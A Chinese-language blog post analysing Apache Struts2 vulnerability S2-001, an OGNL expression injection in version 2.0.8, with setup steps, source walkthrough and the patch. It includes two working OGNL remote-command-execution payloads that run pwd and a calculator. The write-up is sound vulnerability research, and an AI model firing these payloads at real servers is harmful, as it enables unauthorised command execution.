struts2系列漏洞 S2-001

前言

经典 Java 软件漏洞 struts 系列,准备一个个看过去。


环境搭建

struts2 环境的搭建参考文章,详细而且好用。

阅读 S2-001 的官方通告,安装 2.0.8 版本的 struts2 依赖:

1
2
3
4
5
<dependency>
<groupId>org.apache.struts</groupId>
<artifactId>struts2-core</artifactId>
<version>2.0.8</version>
</dependency>

配置文件和 Action 代码可以参考 Chybeta 师傅的文章

Tomcat 可以配置远程也可以配置本地,没有版本要求的情况下还是本地比较方便一点。

漏洞利用

根据官方漏洞通告,漏洞算是一个 OGNL 表达式注入的漏洞,原因在于 struts 在渲染模板的时候会递归计算表达式,而 struts 中的 JSP 页面中的表单值跟 Action 变量是绑定的,所以在 username 变量为 %{1+1} 的情况下会在本来的 %{username} 这样的表达式中将 username 当作一个表达式来处理。

所以漏洞可以在用于页面渲染的变量可控的情况下触发,比如传一个 username,然后 struts 又把这个 username 贴回模板里的时候。

贴一个命令执行的 payload:

1
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

还有:

1
%{(new java.lang.ProcessBuilder(new java.lang.String[]{"deepin-calculator"})).start()}

比 spel 的反射链命令执行好看很多。

漏洞分析

不熟悉 struts 和 tomcat 的流程,按照他渲染肯定要获取 username 的想法,给 getUsername 下断点来调试,找到 UIBean.class 的 end 函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public boolean end(Writer writer, String body) {
this.evaluateParams();

try {
super.end(writer, body, false);
this.mergeTemplate(writer, this.buildTemplateName(this.template, this.getDefaultTemplate()));
} catch (Exception var7) {
LOG.error("error when rendering", var7);
} finally {
this.popComponentStack();
}

return false;
}

很明显这里就是最后返回 HTML 页面的地方,跟入处理参数的 evaluateParams 方法,看到关键代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
Class valueClazz = this.getValueClassType();
if (valueClazz != null) {
if (this.value != null) {
this.addParameter("nameValue", this.findValue(this.value, valueClazz));
} else if (name != null) {
String expr = name;
if (this.altSyntax()) {
expr = "%{" + name + "}";
}

this.addParameter("nameValue", this.findValue(expr, valueClazz));
}
}

这里的 name 就是变量名 username,valueClazz 就是变量类型,这里将 username 拼接成 %{username} 的表达式并执行,然后用执行结果渲染模板,继续往下走,来到 translateVariables 方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
while (true) {
int start = expression.indexOf(open + "{");
int length = expression.length();
int x = start + 2;
int end;
char c;
int count = 1;
while (start != -1 && x < length && count != 0) {
c = expression.charAt(x++);
if (c == '{') {
count++;
} else if (c == '}') {
count--;
}
}
end = x - 1;

if ((start != -1) && (end != -1) && (count == 0)) {
String var = expression.substring(start + 2, end);

Object o = stack.findValue(var, asType);
if (evaluator != null) {
o = evaluator.evaluate(o);
}


String left = expression.substring(0, start);
String right = expression.substring(end + 1);
if (o != null) {
if (TextUtils.stringSet(left)) {
result = left + o;
} else {
result = o;
}

if (TextUtils.stringSet(right)) {
result = result + right;
}

expression = left + o + right;
} else {
// the variable doesn't exist, so don't display anything
result = left + right;
expression = left + right;
}
} else {
break;
}
}

这里就是漏洞公告里面提到的递归执行表达式了,是一个死循环,不停地寻找最里层的 %{} 表达式,执行之后将返回结果和前后拼接再次寻找 %{} 来执行。

漏洞修复

在 translateVariables 方法的递归中加上了最大递归层数,一般为 1:

1
2
3
4
if (loopCount > maxLoopCount) {
// translateVariables prevent infinite loop / expression recursive evaluation
break;
}

Orz


struts2系列漏洞 S2-001
http://yoursite.com/2020/07/15/struts2系列漏洞-S2-001/
作者
Aluvion
发布于
2020年7月15日
许可协议